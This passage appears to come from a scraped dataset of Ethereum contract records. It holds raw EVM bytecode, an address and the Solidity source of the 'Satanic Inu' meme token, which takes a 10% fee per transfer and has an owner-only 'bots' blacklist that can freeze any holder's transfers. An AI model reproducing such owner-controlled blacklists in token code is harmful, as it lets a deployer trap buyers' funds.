0929190505050610b4a565b005b34801561030f57600080fd5b5061034e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b604051808215151515815260200191505060405180910390f35b34801561037457600080fd5b506103a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de8565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b5061040a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e30565b005b34801561041857600080fd5b50610421610fd8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610461578082015181840152602081019050610446565b50505050905090810190601f16801561048e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a857600080fd5b506104e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611076565b604051808215151515815260200191505060405180910390f35b34801561050d57600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611295565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611491565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106735780601f1061064857610100808354040283529160200191610673565b820191906000526020600020905b81548152906001019060200180831161065657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107b457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561080157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561088c57600080fd5b6108dd826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610970826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a4182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b600560009054906101000a900460ff1681565b610b54338261154d565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c68576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cfc565b610c7b838261151890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610ebb57600080fd5b610f4a81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fd4828261154d565b5050565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561106e5780601f106110435761010080835404028352916020019161106e565b820191906000526020600020905b81548152906001019060200180831161105157829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561110057600080fd5b611151826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561152657fe5b818303905092915050565b6000818301905082811015151561154457fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561159a57600080fd5b6115eb816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116428160015461151890919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058200d39917840732183ad8a7c7caed96507335a0d45d5d1554916afba6e26f5ca670029
{"success": true, "error": null, "results": {}}
209
0xabbf03a7c329f8d4cb4fd639bcf27edc1be52e7a
/* W̷̧͖͙̣̥̜͚̏̓́̀͒̈͋͆̕e̴̡̘͙͌̓́͐͗͠l̶̨̎̓͋͜č̴̡̪̈́̓̚ó̷̞̺̦̭͙͓̮̫̳͔̐̂̉̌͗͌ḿ̵̻̀̑e̸̗̫͉̼͉̙̬͔̾̾͐̓͌͘͘͝ ̵̡̮̬̗̺̖͗́̑̎̎̂̊̄̒͘ͅt̸̜̿͋͆̍̔ǫ̶̫͈̮̲͕̝̑̌͒͗͑͛͑͒̕͝ ̴͍̼́̇S̴̥̦̖̰̼̄͗̏a̸̢͖̱̥͋̕t̸̨̹͎̭̲̞͙̙̩͎́̈͐̐̂̋̕͘͠a̸̢̦͓̝̻̮̯̒͑͗̉̊̄̃͗͝ṇ̶̢̼̫̣̰͉̼͎͆̆̍͆̾̓̅̊̚į̸̯̖̰̬͖̹̆̊ͅc̴̻̘͕̩͐͝ ̸͍̦̤̼̦̲̭͕̑͌͗̑̽͜͝İ̷͍͇̗̘̏̿͑́̂͠͝n̴̰̣͓̖͉̝̮̼͓̭͌ṵ̷͕͖̑̍̏͊̓͛̎̓̚ͅ Join the telegram community at https://t.me/satanicinuETH Follow the twitter https://twitter.com/satanicinuETH Check out the website for all your information and roadmap needs https://satanicinu.io Enjoy your stay... */ pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Satanic is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string public constant _name = "Satanic Inu"; string public constant _symbol = "SINU"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1 * 10**12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f536174616e696320496e75000000000000000000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572